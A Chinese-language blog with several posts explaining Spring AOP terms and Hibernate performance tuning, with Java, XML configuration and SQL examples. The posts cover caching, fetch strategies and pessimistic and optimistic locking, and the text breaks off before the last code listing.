        切入点(Pointcut): 匹配连接点(Joinpoint)的断言。通知和一个切入点表达式关联,并在满足这个切入点的连接点上运行(例如,当执行某个特定名称的方法时)。 切入点表达式如何和连接点匹配是AOP的核心:Spring缺省使用AspectJ切入点语法。

        引入(Introduction): (也被称为内部类型声明(inter-type declaration))。声明额外的方法或者某个类型的字段。 Spring允许引入新的接口(以及一个对应的实现)到任何被代理的对象。 例如,你可以使用一个引入来使bean实现 IsModified 接口,以便简化缓存机制。

        目标对象(Target Object): 被一个或者多个切面(aspect)所通知(advise)的对象。也有人把它叫做 被通知(advised) 对象。 既然Spring AOP是通过运行时代理实现的,这个对象永远是一个 被代理(proxied) 对象。

        AOP代理(AOP Proxy): AOP框架创建的对象,用来实现切面契约(aspect contract)(包括通知方法执行等功能)。 在Spring中,AOP代理可以是JDK动态代理或者CGLIB代理。 注意:Spring 2.0最新引入的基于模式(schema-based)风格和@AspectJ注解风格的切面声明,对于使用这些风格的用户来说,代理的创建是透明的。

        织入(Weaving): 把切面(aspect)连接到其它的应用程序类型或者对象上,并创建一个被通知(advised)的对象。 这些可以在编译时(例如使用AspectJ编译器),类加载时和运行时完成。 Spring和其他纯JavaAOP框架一样,在运行时完成织入。

        通知的类型:

        前置通知(Before advice): 在某连接点(join point)之前执行的通知,但这个通知不能阻止连接点前的执行(除非它抛出一个异常)。

        返回后通知(After returning advice): 在某连接点(join point)正常完成后执行的通知:例如,一个方法没有抛出任何异常,正常返回。

        抛出异常后通知(After throwing advice): 在方法抛出异常退出时执行的通知。

        后通知(After (finally) advice): 当某连接点退出的时候执行的通知(不论是正常返回还是异常退出)。

        环绕通知(Around Advice): 包围一个连接点(join point)的通知,如方法调用。这是最强大的一种通知类型。 环绕通知可以在方法调用前后完成自定义的行为。它也会选择是否继续执行连接点或直接返回它们自己的返回值或抛出异常来结束执行。

===============================================

1.切面(aspect):要实现的交叉功能,是系统模块化的一个切面或领域。如日志记录。


2.连接点:应用程序执行过程中插入切面的地点,可以是方法调用,异常抛出,或者要修改的字段。


3.通知:切面的实际实现,他通知系统新的行为。如在日志通知包含了实现日志功能的代码,如向日志文件写日志。通知在连接点插入到应用系统中。


4.切入点:定义了通知应该应用在哪些连接点,通知可以应用到AOP框架支持的任何连接点。


5.引入:为类添加新方法和属性。


6.目标对象:被通知的对象。既可以是你编写的类也可以是第三方类。


7.代理:将通知应用到目标对象后创建的对象,应用系统的其他部分不用为了支持代理对象而改变。


8.织入:将切面应用到目标对象从而创建一个新代理对象的过程。织入发生在目标对象生命周期的多个点上:

编译期:切面在目标对象编译时织入.这需要一个特殊的编译器.
类装载期:切面在目标对象被载入JVM时织入.这需要一个特殊的类载入器.
运行期:切面在应用系统运行时织入.

posted @ 2009-07-20 00:41 jadmin 阅读(72) | 评论 (0)编辑 收藏

       数据库查询性能的提升也是涉及到开发中的各个阶段,在开发中选用正确的查询方法无疑是最基础也最简单的。

SQL语句的优化

       使用正确的SQL语句可以在很大程度上提高系统的查询性能。获得同样数据而采用不同方式的SQL语句在性能上的差距可能是十分巨大的。

       由于Hibernate是对JDBC的封装,SQL语句的产生都是动态由Hibernate自动完成的。Hibernate产生SQL语句的方式有两种:一种是通过开发人员编写的HQL语句来生成,另一种是依据开发人员对关联对象的访问来自动生成相应的SQL语句。

       至于使用什么样的SQL语句可以获得更好的性能要依据数据库的结构以及所要获取数据的具体情况来进行处理。在确定了所要执行的SQL语句后,可以通过以下三个方面来影响Hibernate所生成的SQL语句:

●   HQL语句的书写方法。

●   查询时所使用的查询方法。

●   对象关联时所使用的抓取策略。

使用正确的查询方法

       在前面已经介绍过,执行数据查询功能的基本方法有两种:一种是得到单个持久化对象的get()方法和load()方法,另一种是Query对象的list()方法和iterator()方法。在开发中应该依据不同的情况选用正确的方法。

       get()方法和load()方法的区别在于对二级缓存的使用上。load()方法会使用二级缓存,而get()方法在一级缓存没有找到的情况下会直接查询数据库,不会去二级缓存中查找。在使用中,对使用了二级缓存的对象进行查询时最好使用load()方法,以充分利用二级缓存来提高检索的效率。

       list()方法和iterator()方法之间的区别可以从以下几个方面来进行比较。

●   执行的查询不同

       list()方法在执行时,是直接运行查询结果所需要的查询语句,而iterator()方法则是先执行得到对象ID的查询,然后再根据每个ID值去取得所要查询的对象。因此,对于list()方式的查询通常只会执行一个SQL语句,而对于iterator()方法的查询则可能需要执行N+1条SQL语句(N为结果集中的记录数)。

       iterator()方法只是可能执行N+1条数据,具体执行SQL语句的数量取决于缓存的情况以及对结果集的访问情况。

●   缓存的使用

       list()方法只能使用二级缓存中的查询缓存,而无法使用二级缓存对单个对象的缓存(但是会把查询出的对象放入二级缓存中)。所以,除非重复执行相同的查询操作,否则无法利用缓存的机制来提高查询的效率。

       iterator()方法则可以充分利用二级缓存,在根据ID检索对象的时候会首先到缓存中查找,只有在找不到的情况下才会执行相应的查询语句。所以,缓存中对象的存在与否会影响到SQL语句的执行数量。

●   对于结果集的处理方法不同

       list()方法会一次获得所有的结果集对象,而且它会依据查询的结果初始化所有的结果集对象。这在结果集非常大的时候必然会占据非常多的内存,甚至会造成内存溢出情况的发生。

       iterator()方法在执行时不会一次初始化所有的对象,而是根据对结果集的访问情况来初始化对象。因此在访问中可以控制缓存中对象的数量,以避免占用过多缓存,导致内存溢出情况的发生。使用iterator()方法的另外一个好处是,如果只需要结果集中的部分记录,那么没有被用到的结果对象根本不会被初始化。所以,对结果集的访问情况也是调用iterator()方法时执行数据库SQL语句多少的一个因素。

       所以,在使用Query对象执行数据查询时应该从以上几个方面去考虑使用何种方法来执行数据库的查询操作。

使用正确的抓取策略

       所谓抓取策略(fetching strategy)是指当应用程序需要利用关联关系进行对象获取的时候,Hibernate获取关联对象的策略。抓取策略可以在O/R映射的元数据中声明,也可以在特定的HQL或条件查询中声明。

       Hibernate 3定义了以下几种抓取策略。

●   连接抓取(Join fetching)

       连接抓取是指Hibernate在获得关联对象时会在SELECT语句中使用外连接的方式来获得关联对象。

●   查询抓取(Select fetching)

       查询抓取是指Hibernate通过另外一条SELECT语句来抓取当前对象的关联对象的方式。这也是通过外键的方式来执行数据库的查询。与连接抓取的区别在于,通常情况下这个SELECT语句不是立即执行的,而是在访问到关联对象的时候才会执行。

●   子查询抓取(Subselect fetching)

       子查询抓取也是指Hibernate通过另外一条SELECT语句来抓取当前对象的关联对象的方式。与查询抓取的区别在于它所采用的SELECT语句的方式为子查询,而不是通过外连接。

●   批量抓取(Batch fetching)

       批量抓取是对查询抓取的优化,它会依据主键或者外键的列表来通过单条SELECT语句实现管理对象的批量抓取。

以上介绍的是Hibernate 3所提供的抓取策略,也就是抓取关联对象的手段。为了提升系统的性能,在抓取关联对象的时机上,还有以下一些选择。

●   立即抓取(Immediate fetching)

       立即抓取是指宿主对象被加载时,它所关联的对象也会被立即加载。

●   延迟集合抓取(Lazy collection fetching)

       延迟集合抓取是指在加载宿主对象时,并不立即加载它所关联的对象,而是到应用程序访问关联对象的时候才抓取关联对象。这是集合关联对象的默认行为。

●   延迟代理抓取(Lazy proxy fetching)

       延迟代理抓取是指在返回单值关联对象的情况下,并不在对其进行get操作时抓取,而是直到调用其某个方法的时候才会抓取这个对象。

●   延迟属性加载(Lazy attribute fetching)

       延迟属性加载是指在关联对象被访问的时候才进行关联对象的抓取。

       介绍了Hibernate所提供的关联对象的抓取方法和抓取时机,这两个方面的因素都会影响Hibernate的抓取行为,最重要的是要清楚这两方面的影响是不同的,不要将这两个因素混淆,在开发中要结合实际情况选用正确的抓取策略和合适的抓取时机。

       抓取时机的选择

       在Hibernate 3中,对于集合类型的关联在默认情况下会使用延迟集合加载的抓取时机,而对于返回单值类型的关联在默认情况下会使用延迟代理抓取的抓取时机。

       对于立即抓取在开发中很少被用到,因为这很可能会造成不必要的数据库操作,从而影响系统的性能。当宿主对象和关联对象总是被同时访问的时候才有可能会用到这种抓取时机。另外,使用立即连接抓取可以通过外连接来减少查询SQL语句的数量,所以,也会在某些特殊的情况下使用。

       然而,延迟加载又会面临另外一个问题,如果在Session关闭前关联对象没有被实例化,那么在访问关联对象的时候就会抛出异常。处理的方法就是在事务提交之前就完成对关联对象的访问。

       所以,在通常情况下都会使用延迟的方式来抓取关联的对象。因为每个立即抓取都会导致关联对象的立即实例化,太多的立即抓取关联会导致大量的对象被实例化,从而占用过多的内存资源。

       抓取策略的选取

       对于抓取策略的选取将影响到抓取关联对象的方式,也就是抓取关联对象时所执行的SQL语句。这就要根据实际的业务需求、数据的数量以及数据库的结构来进行选择了。

在这里需要注意的是,通常情况下都会在执行查询的时候针对每个查询来指定对其合适的抓取策略。指定抓取策略的方法如下所示:

       User user = (User) session.createCriteria(User.class)

                   .setFetchMode("permissions", FetchMode.JOIN)

                   .add( Restrictions.idEq(userId) )

                   .uniqueResult();

       本文介绍了查询性能提升的方法,关键是如何通过优化SQL语句来提升系统的查询性能。查询方法和抓取策略的影响也是通过执行查询方式和SQL语句的多少来改变系统的性能的。这些都属于开发人员所应该掌握的基本技能,避免由于开发不当而导致系统性能的低下。

       在性能调整中,除了前面介绍的执行SQL语句的因素外,对于缓存的使用也会影响系统的性能。通常来说,缓存的使用会增加系统查询的性能,而降低系统增加、修改和删除操作的性能(因为要进行缓存的同步处理)。所以,开发人员应该能够正确地使用有效的缓存来提高数据查询的性能,而要避免滥用缓存而导致的系统性能变低。在采用缓存的时候也应该注意调整自己的检索策略和查询方法,这三者配合起来才可以达到最优的性能。

       另外,事务的使用策略也会影响到系统的性能。选取正确的事务隔离级别以及使用正确的锁机制来控制数据的并发访问都会影响到系统的性能。

posted @ 2009-07-19 21:36 jadmin 阅读(69) | 评论 (0)编辑 收藏

       Hibernate是对JDBC的轻量级封装,因此在很多情况下Hibernate的性能比直接使用JDBC存取数据库要低。然而,通过正确的方法和策略,在使用Hibernate的时候还是可以非常接近直接使用JDBC时的效率的,并且,在有些情况下还有可能高于使用JDBC时的执行效率。

       在进行Hibernate性能优化时,需要从以下几个方面进行考虑:

●   数据库设计调整。

●   HQL优化。

●   API的正确使用(如根据不同的业务类型选用不同的集合及查询API)。

●   主配置参数(日志、查询缓存、fetch_size、batch_size等)。

●   映射文件优化(ID生成策略、二级缓存、延迟加载、关联优化)。

●   一级缓存的管理。

●   针对二级缓存,还有许多特有的策略。

●   事务控制策略。

       数据的查询性能往往是影响一个应用系统性能的主要因素。对查询性能的影响会涉及到系统软件开发的各个阶段,例如,良好的设计、正确的查询方法、适当的缓存都有利于系统性能的提升。

       系统性能的提升设计到系统中的各个方面,是一个相互平衡的过程,需要在应用的各个阶段都要考虑。并且在开发、运行的过程中要不断地调整和优化才能逐步提升系统的性能。

posted @ 2009-07-19 21:30 jadmin 阅读(42) | 评论 (0)编辑 收藏

       在前面介绍了Hibernate的缓存技术以及基本的用法,在这里就具体的Hibernate所提供的查询方法与Hibernate缓存之间的关系做一个简单的总结。

       在开发中,通常是通过两种方式来执行对数据库的查询操作的。一种方式是通过ID来获得单独的Java对象,另一种方式是通过HQL语句来执行对数据库的查询操作。下面就分别结合这两种查询方式来说明一下缓存的作用。

       通过ID来获得Java对象可以直接使用Session对象的load()或者get()方法,这两种方式的区别就在于对缓存的使用上。

●   load()方法

       在使用了二级缓存的情况下,使用load()方法会在二级缓存中查找指定的对象是否存在。

在执行load()方法时,Hibernate首先从当前Session的一级缓存中获取ID对应的值,在获取不到的情况下,将根据该对象是否配置了二级缓存来做相应的处理。

       如配置了二级缓存,则从二级缓存中获取ID对应的值,如仍然获取不到则还需要根据是否配置了延迟加载来决定如何执行,如未配置延迟加载则从数据库中直接获取。在从数据库获取到数据的情况下,Hibernate会相应地填充一级缓存和二级缓存,如配置了延迟加载则直接返回一个代理类,只有在触发代理类的调用时才进行数据库的查询操作。

       在Session一直打开的情况下,并在该对象具有单向关联维护的时候,需要使用类似Session.clear(),Session.evict()的方法来强制刷新一级缓存。

●   get()方法

       get()方法与load()方法的区别就在于不会查找二级缓存。在当前Session的一级缓存中获取不到指定的对象时,会直接执行查询语句从数据库中获得所需要的数据。

       在Hibernate中,可以通过HQL来执行对数据库的查询操作。具体的查询是由Query对象的list()和iterator()方法来执行的。这两个方法在执行查询时的处理方法存在着一定的差别,在开发中应该依据具体的情况来选择合适的方法。

●   list()方法

       在执行Query的list()方法时,Hibernate的做法是首先检查是否配置了查询缓存,如配置了则从查询缓存中寻找是否已经对该查询进行了缓存,如获取不到则从数据库中进行获取。从数据库中获取到后,Hibernate将会相应地填充一级、二级和查询缓存。如获取到的为直接的结果集,则直接返回,如获取到的为一些ID的值,则再根据ID获取相应的值(Session.load()),最后形成结果集返回。可以看到,在这样的情况下,list()方法也是有可能造成N次查询的。

       查询缓存在数据发生任何变化的情况下都会被自动清空。

●   iterator()方法

       Query的iterator()方法处理查询的方式与list()方法是不同的,它首先会使用查询语句得到ID值的列表,然后再使用Session的load()方法得到所需要的对象的值。

       在获取数据的时候,应该依据这4种获取数据方式的特点来选择合适的方法。在开发中可以通过设置show_sql选项来输出Hibernate所执行的SQL语句,以此来了解Hibernate是如何操作数据库的。

posted @ 2009-07-19 21:29 jadmin 阅读(48) | 评论 (0)编辑 收藏

查询缓存

       查询缓存是专门针对各种查询操作进行缓存。查询缓存会在整个SessionFactory的生命周期中起作用,存储的方式也是采用key-value的形式来进行存储的。

       查询缓存中的key是根据查询的语句、查询的条件、查询的参数和查询的页数等信息组成的。而数据的存储则会使用两种方式,使用SELECT语句只查询实体对象的某些列或者某些实体对象列的组合时,会直接缓存整个结果集。而对于查询结果为某个实体对象集合的情况则只会缓存实体对象的ID值,以达到缓存空间可以共用,节省空间的目的。

       在使用查询缓存时,除了需要设置hibernate.cache.provider_class参数来启动二级缓存外,还需要通过hibernate.cache.use_query_cache参数来启动对查询缓存的支持。

       另外需要注意的是,查询缓存是在执行查询语句的时候指定缓存的方式以及是否需要对查询的结果进行缓存。

       下面就来了解一下查询缓存的使用方法及作用。

       修改Hibernate配置文件

       首先需要修改Hibernate的配置文件,增加hibernate.cache.use_query_cache参数的配置。配置方法如下:

       <property name="hibernate.cache.use_query_cache">true</property>

       Hibernate配置文件的详细内容请参考配套光盘中的hibernate\src\cn\hxex\ hibernate\cache\hibernate.cfg.xml文件。

       编写主测试程序

       由于这是在前面二级缓存例子的基础上来开发的,所以,对于EHCache的配置以及视图对象的开发和映射文件的配置工作就都不需要再重新进行了。下面就来看一下主测试程序的实现方法,如清单14.11所示。

       清单14.11    主程序的实现

……

    public void run() {

           SessionFactory sf = QueryCacheMain.getSessionFactory();

           Session session = sf.getCurrentSession();

           session.beginTransaction();

           Query query = session.createQuery( "from User" );

           Iterator it = query.setCacheable( true ).list().iterator();

           while( it.hasNext() ) {

                  System.out.println( it.next() );

           }

           User user = (User)session.get( User.class, "1" );

           System.out.println( user );

           session.getTransaction().commit();

    }

       public static void main(String[] args) {

              QueryCacheMain main1 = new QueryCacheMain();

              main1.start();

              try {

                     Thread.sleep( 2000 );

              } catch (InterruptedException e) {

                     e.printStackTrace();

              }

              QueryCacheMain main2 = new QueryCacheMain();

              main2.start();

       }

}

       主程序在实现的时候采用了多线程的方式来运行。首先将“from User”查询结果进行缓存,然后再通过ID取得对象来检查是否对对象进行了缓存。另外,多个线程的执行可以看出对于进行了缓存的查询是不会执行第二次的。

       运行测试主程序

       接着就来运行测试主程序,其输出结果应该如下所示:

Hibernate: select user0_.userId as userId0_, user0_.name as name0_, user0_.age as age0_ from USERINFO user0_

ID: 1

Namge:   galaxy

Age:       32

ID: 1

Namge:   galaxy

Age:       32

ID: 1

Namge:   galaxy

Age:       32

ID: 1

Namge:   galaxy

Age:       32

       通过上面的执行结果可以看到,在两个线程执行中,只执行了一个SQL查询语句。这是因为根据ID所要获取的对象在前面的查询中已经得到了,并进行了缓存,所以没有再次执行查询语句。

posted @ 2009-07-19 21:25 jadmin 阅读(57) | 评论 (0)编辑 收藏

二级缓存

       与Session相对的是,SessionFactory也提供了相应的缓存机制。SessionFactory缓存可以依据功能和目的的不同而划分为内置缓存和外置缓存。

       SessionFactory的内置缓存中存放了映射元数据和预定义SQL语句,映射元数据是映射文件中数据的副本,而预定义SQL语句是在Hibernate初始化阶段根据映射元数据推导出来的。SessionFactory的内置缓存是只读的,应用程序不能修改缓存中的映射元数据和预定义SQL语句,因此SessionFactory不需要进行内置缓存与映射文件的同步。

       SessionFactory的外置缓存是一个可配置的插件。在默认情况下,SessionFactory不会启用这个插件。外置缓存的数据是数据库数据的副本,外置缓存的介质可以是内存或者硬盘。SessionFactory的外置缓存也被称为Hibernate的二级缓存。

       Hibernate的二级缓存的实现原理与一级缓存是一样的,也是通过以ID为key的Map来实现对对象的缓存。

       由于Hibernate的二级缓存是作用在SessionFactory范围内的,因而它比一级缓存的范围更广,可以被所有的Session对象所共享。

二级缓存的工作内容

       Hibernate的二级缓存同一级缓存一样,也是针对对象ID来进行缓存。所以说,二级缓存的作用范围是针对根据ID获得对象的查询。

       二级缓存的工作可以概括为以下几个部分:

●   在执行各种条件查询时,如果所获得的结果集为实体对象的集合,那么就会把所有的数据对象根据ID放入到二级缓存中。

●   当Hibernate根据ID访问数据对象的时候,首先会从Session一级缓存中查找,如果查不到并且配置了二级缓存,那么会从二级缓存中查找,如果还查不到,就会查询数据库,把结果按照ID放入到缓存中。

●   删除、更新、增加数据的时候,同时更新缓存。

二级缓存的适用范围

       Hibernate的二级缓存作为一个可插入的组件在使用的时候也是可以进行配置的,但并不是所有的对象都适合放在二级缓存中。

       在通常情况下会将具有以下特征的数据放入到二级缓存中:

●   很少被修改的数据。

●   不是很重要的数据,允许出现偶尔并发的数据。

●   不会被并发访问的数据。

●   参考数据。

       而对于具有以下特征的数据则不适合放在二级缓存中:

●   经常被修改的数据。

●   财务数据,绝对不允许出现并发。

●   与其他应用共享的数据。

       在这里特别要注意的是对放入缓存中的数据不能有第三方的应用对数据进行更改(其中也包括在自己程序中使用其他方式进行数据的修改,例如,JDBC),因为那样Hibernate将不会知道数据已经被修改,也就无法保证缓存中的数据与数据库中数据的一致性。

二级缓存组件

       在默认情况下,Hibernate会使用EHCache作为二级缓存组件。但是,可以通过设置hibernate.cache.provider_class属性,指定其他的缓存策略,该缓存策略必须实现org.hibernate.cache.CacheProvider接口。

       通过实现org.hibernate.cache.CacheProvider接口可以提供对不同二级缓存组件的支持。

       Hibernate内置支持的二级缓存组件如表14.1所示。

表14.1    Hibernate所支持的二级缓存组件

posted @ 2009-07-19 21:23 jadmin 阅读(42) | 评论 (0)编辑 收藏

       大家都知道,Hibernate是以JDBC为基础实现的持久层组件,因而其性能肯定会低于直接使用JDBC来访问数据库。因此,为了提高Hibernate的性能,在Hibernate组件中提供了完善的缓存机制来提高数据库访问的性能。

       什么是缓存

       缓存是介于应用程序和物理数据之间的,其作用是为了降低应用程序对物理数据访问的频次从而提高应用系统的性能。缓存思想的提出主要是因为对物理数据的访问效率要远远低于对内存的访问速度,因而采用了将部分物理数据存放于内存当中,这样可以有效地减少对物理数据的访问次数,从而提高系统的性能。

       缓存广泛地存在于我们所接触的各种应用系统中,例如数据库系统、Windows操作系统等,在进行物理数据的访问时无一例外地都使用了缓存机制来提高操作的性能。

       缓存内的数据是对物理数据的复制,因此一个缓存系统所应该包括的最基本的功能是数据的缓存和读取,同时在使用缓存的时候还要考虑缓存中的数据与物理数据的同步,也就是要保持两者是一致的。

       缓存要求对数据的读写速度很高,因此,一般情况下会选用内存作为存储的介质。但如果内存有限,并且缓存中存放的数据量非常大时,也会用硬盘作为缓存介质。缓存的实现不仅仅要考虑存储的介质,还要考虑到管理缓存的并发访问和缓存数据的生命周期。

       为了提高系统的性能,Hibernate也使用了缓存的机制。在Hibernate框架中,主要包括以下两个方面的缓存:一级缓存和二级缓存(包含查询缓存)。Hibernate中缓存的作用主要表现在以下两个方面:

●   通过主键(ID)加载数据的时候

●   延迟加载中

一级缓存

       Hibernate的一级缓存是由Session提供的,因此它只存在于Session的生命周期中,也就是当Session关闭的时候该Session所管理的一级缓存也会立即被清除。

       Hibernate的一级缓存是Session所内置的,不能被卸载,也不能进行任何配置。

       一级缓存采用的是key-value的Map方式来实现的,在缓存实体对象时,对象的主关键字ID是Map的key,实体对象就是对应的值。所以说,一级缓存是以实体对象为单位进行存储的,在访问的时候使用的是主关键字ID。

       虽然,Hibernate对一级缓存使用的是自动维护的功能,没有提供任何配置功能,但是可以通过Session中所提供的方法来对一级缓存的管理进行手工干预。Session中所提供的干预方法包括以下两种。

●   evict() :用于将某个对象从Session的一级缓存中清除。

●   clear() :用于将一级缓存中的对象全部清除。

       在进行大批量数据一次性更新的时候,会占用非常多的内存来缓存被更新的对象。这时就应该阶段性地调用clear()方法来清空一级缓存中的对象,控制一级缓存的大小,以避免产生内存溢出的情况。具体的实现方法如清单14.8所示。

       清单14.8    大批量更新时缓存的处理方法

Session session = sessionFactory.openSession();

Transaction tx = session.beginTransaction();

  

for ( int i=0; i<100000; i++ ) {

    Customer customer = new Customer(……);

    session.save(customer);

    if ( i % 20 == 0 ) {

        //将本批插入的对象立即写入数据库并释放内存

        session.flush();

        session.clear();

    }

}

  

tx.commit();

session.close();

posted @ 2009-07-19 21:18 jadmin 阅读(84) | 评论 (0)编辑 收藏

并发控制

       当数据库系统采用Read Committed隔离级别时,会导致不可重复读取和两次更新丢失的并发问题,可以在应用程序中采用锁机制来避免这类问题的产生。

       从应用程序的角度上看,锁可以分为乐观锁和悲观锁两大类。

悲观锁

       在多个客户端可能读取同一笔数据或同时更新一笔数据的情况下,必须要有访问控制的手段,防止同一个数据被修改而造成混乱,最简单的手段就是对数据进行锁定。在自己进行数据读取或更新等动作时,锁定其他客户端不能对同一笔数据进行任何的动作。

       悲观锁(Pessimistic Locking),如其名称所示,悲观地认定每次资料存取时,其他的客户端也会存取同一笔数据,因此将会锁住该笔数据,直到自己操作完成后再解除锁。

       悲观锁假定任何时刻存取数据时,都可能有另一个客户也正在存取同一笔数据,因而对数据采取了数据库层次的锁定状态,在锁定的时间内其他的客户不能对数据进行存取。对于单机或小系统而言,这并不成问题,然而如果是在网络上的系统,同时间会有许多访问的机器,如果每一次读取数据都造成锁定,其后继的存取就必须等待,这将造成效能上的问题,造成后继使用者的长时间等待。

       悲观锁通常透过系统或数据库本身的功能来实现,依赖系统或数据库本身提供的锁机制。Hibernate即是如此,可以利用Query或Criteria的setLockMode()方法来设定要锁定的表或列及其锁模式,可设定的锁模式有以下几个。

       LockMode.UPGRADE:利用数据库的for update子句进行锁定。

       LockMode.UPGRADE_NOWAIT:使用for update nowait子句进行锁定,在Oracle数据库中使用。

       下面来实现一个简单的例子,测试一下采用悲观锁时数据库是如何进行操作的。

       首先来完成一个实体对象——User,该对象包含了id,name和age三个属性,实现的方法如清单14.1所示。

       清单14.1    User对象的实现

package cn.hxex.hibernate.lock;

public class User {

       private String id;

       private String name;

       private Integer age;

      

       // 省略了getter和setter方法

       ……

}

       接下来就是映射文件的配置,由于该映射文件没有涉及到任何与其他对象的关联配置,所以实现的方法也非常简单,代码如清单14.2所示。

       清单14.2    User映射文件的实现

<?xml version="1.0"?>

<!DOCTYPE hibernate-mapping PUBLIC

       "-//Hibernate/Hibernate Mapping DTD 3.0//EN"

       "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">

<hibernate-mapping package="cn.hxex.hibernate.lock">

       <class name="User" table="USERINFO">

              <id name="id" column="userId">

                 <generator class="uuid.hex"/>

           </id>

             

              <property name="name" column="name" type="java.lang.String"/>

              <property name="age" column="age" type="java.lang.Integer"/>

       </class>

</hibernate-mapping>

       另外一件重要的工作就是Hibernate的配置文件了,在这个配置文件中包含了连接数据库的参数以及其他一些重要的参数,实现的方法如清单14.3所示。

       清单14.3    Hibernate配置文件的实现

<?xml version='1.0' encoding='UTF-8'?>

<!DOCTYPE hibernate-configuration PUBLIC

          "-//Hibernate/Hibernate Configuration DTD 3.0//EN"

          "http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd">

<hibernate-configuration>

       <session-factory>

              <!-- 数据库的URL -->

              <!-- property name="hibernate.connection.url">

              jdbc:oracle:thin:@192.168.10.121:1521:HiFinance</property-->

              <property name="hibernate.connection.url">

       jdbc:mysql://localhost:3306/lockdb?useUnicode=true&amp;characterEncoding=utf8&amp;autoReconnect=true&amp;autoReconnectForPools=true

        </property>

             

              <!-- 数据库的驱动程序 -->

              <!-- property name="hibernate.connection.driver_class">

              oracle.jdbc.driver.OracleDriver</property-->

              <property name="hibernate.connection.driver_class">

           com.mysql.jdbc.Driver

        </property>

              <!-- 数据库的用户名 -->

              <property name="hibernate.connection.username">lockdb</property>

              <!-- 数据库的密码 -->

              <property name="hibernate.connection.password">lockdb</property>

              <!-- 数据库的Dialect -->

              <!-- property name="hibernate.dialect">

              org.hibernate.dialect.Oracle9Dialect</property -->

              <property name="hibernate.dialect">

              org.hibernate.dialect.MySQLDialect</property>

              <!-- 输出执行的SQL语句 -->

              <property name="hibernate.show_sql">true</property>

             

              <property name="hibernate.current_session_context_class">thread</property>

             

              <property name="hibernate.hbm2ddl.auto">update</property>

              <!-- HBM文件列表 -->

              <mapping resource="cn/hxex/hibernate/lock/User.hbm.xml" />

       </session-factory>

</hibernate-configuration>

       最后要实现的就是测试主程序了,在测试主程序中包含了Hibernate的初始化代码以及悲观锁的测试方法。测试主程序的实现方法如清单14.4所示。

       清单14.4    测试主程序的实现

package cn.hxex.hibernate.lock;

import java.net.URL;

import java.util.List;

import org.apache.commons.logging.Log;

import org.apache.commons.logging.LogFactory;

import org.hibernate.LockMode;

import org.hibernate.Query;

import org.hibernate.Session;

import org.hibernate.SessionFactory;

import org.hibernate.cfg.Configuration;

public class LockMain {

    private static Log log = LogFactory.getLog( LockMain.class );

    // 静态Configuration和SessionFactory对象的实例(全局唯一的)

    private static Configuration configuration;

    private static SessionFactory sessionFactory;

    static

    {

        // 从默认的配置文件创建SessionFactory

        try

        {

                          URL configURL = ClassLoader.getSystemResource(

                               "cn/hxex/hibernate/lock/hibernate.cfg.xml" );

                          // 创建默认的Configuration对象的实例

            configuration = new Configuration();

            // 读取hibernate.properties或者hibernate.cfg.xml文件

            configuration.configure( configURL );

            // 使用静态变量来保持SessioFactory对象的实例

            sessionFactory = configuration.buildSessionFactory();

        }

        catch (Throwable ex)

        {

            // 输出异常信息

            log.error("Building SessionFactory failed.", ex);

            ex.printStackTrace();

            throw new ExceptionInInitializerError(ex);

        }

    }

      

    public static SessionFactory getSessionFactory() {

                  return sessionFactory;

    }

   

    public void testPessimisticLock() {

              SessionFactory sf = LockMain.getSessionFactory();

              Session session = sf.getCurrentSession();

              session.beginTransaction();

             

              Query query = session.createQuery("from User user");

              query.setLockMode("user", LockMode.UPGRADE);

              List users = query.list();

              for( int i=0; i<users.size(); i++ ) {

                     System.out.println( users.get( i ) );

              }

              session.getTransaction().commit();

    }

   

       public static void main(String[] args) {

             

              LockMain main = new LockMain();

              main.testPessimisticLock();

       }

}

       在上面的清单中,testPessimisticLock()方法就是测试悲观锁的方法,该方法在执行查询之前通过Query对象的setLockMode()方法设置了访问User对象的模式,这样,这个程序在执行的时候就会使用以下的SQL语句:

       select user0_.userId as userId0_, user0_.name as name0_, user0_.age as age0_

       from USERINFO user0_ for update

       除了Query对象外,也可以在使用Session的load()或是lock()时指定锁模式。

       除了前面所提及的两种锁模式外,还有三种Hibernate内部自动对数据进行加锁的模式,但它的处理是与数据库无关的。

       LockMode.WRITE:在insert或update时进行锁定,Hibernate会在调用save()方法时自动获得锁。

       LockMode.READ:在读取记录时Hibernate会自动获得锁。

       LockMode.NONE:没有锁。

       如果数据库不支持所指定的锁模式,Hibernate会选择一个合适的锁替换,而不是抛出一个异常。

乐观锁

       乐观锁(Optimistic Locking)认为资料的存取很少发生同时存取的问题,因而不做数据库层次上的锁定。为了维护正确的数据,乐观锁是使用应用程序上的逻辑来实现版本控制的。

在使用乐观锁策略的情况下,数据不一致的情况一旦发生,有几个解决方法,一种是先更新为主,一种是后更新为主,比较复杂的就是检查发生变动的数据来实现,或是检查所有属性来实现乐观锁。

       Hibernate中通过检查版本号来判断数据是否已经被其他人所改动,这也是Hibernate所推荐的方式。在数据库中加入一个version字段记录,在读取数据时连同版本号一同读取,并在更新数据时比较版本号与数据库中的版本号,如果等于数据库中的版本号则予以更新,并递增版本号,如果小于数据库中的版本号就抛出异常。

       下面就来在前面例子的基础上进行Hibernate乐观锁的测试。

       首先需要修改前面所实现的业务对象,在其中增加一个version属性,用来记录该对象所包含数据的版本信息,修改后的User对象如清单14.5所示。

       清单14.5    修改后的User对象

package cn.hxex.hibernate.lock;

public class User {

       private String id;

       private Integer version; // 增加版本属性

       private String name;

       private Integer age;

      

       // 省略了getter和setter方法

       ……

}

       然后是修改映射文件,增加version属性的配置。在这里需要注意的是,这里的version属性应该使用专门的<version>元素来进行配置,这样才能使其发挥乐观锁的作用。如果还使用<property>元素来进行配置,那么Hibernate只会将其作为一个普通的属性来进行处理。

修改后的映射文件如清单14.6所示。

       清单14.6    修改后的映射文件

<?xml version="1.0"?>

<!DOCTYPE hibernate-mapping PUBLIC

       "-//Hibernate/Hibernate Mapping DTD 3.0//EN"

       "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">

<hibernate-mapping package="cn.hxex.hibernate.lock">

       <class name="User" table="USERINFO" optimistic-lock="version">

              <id name="id" column="userId">

                 <generator class="uuid.hex"/>

           </id>

             

              <version name="version" column="version" type="java.lang.Integer"/>

             

              <property name="name" column="name" type="java.lang.String"/>

              <property name="age" column="age" type="java.lang.Integer"/>

       </class>

</hibernate-mapping>

       接下来还要进行测试主程序的修改。由于需要模拟两个人同时修改同一个记录的情况,所以在这里需要将主程序修改为是可以多线程执行的,然后在run()方法中,调用对User对象的修改程序。

       实现后的主测试程序如清单14.7所示。

       清单14.7    修改后的测试主程序

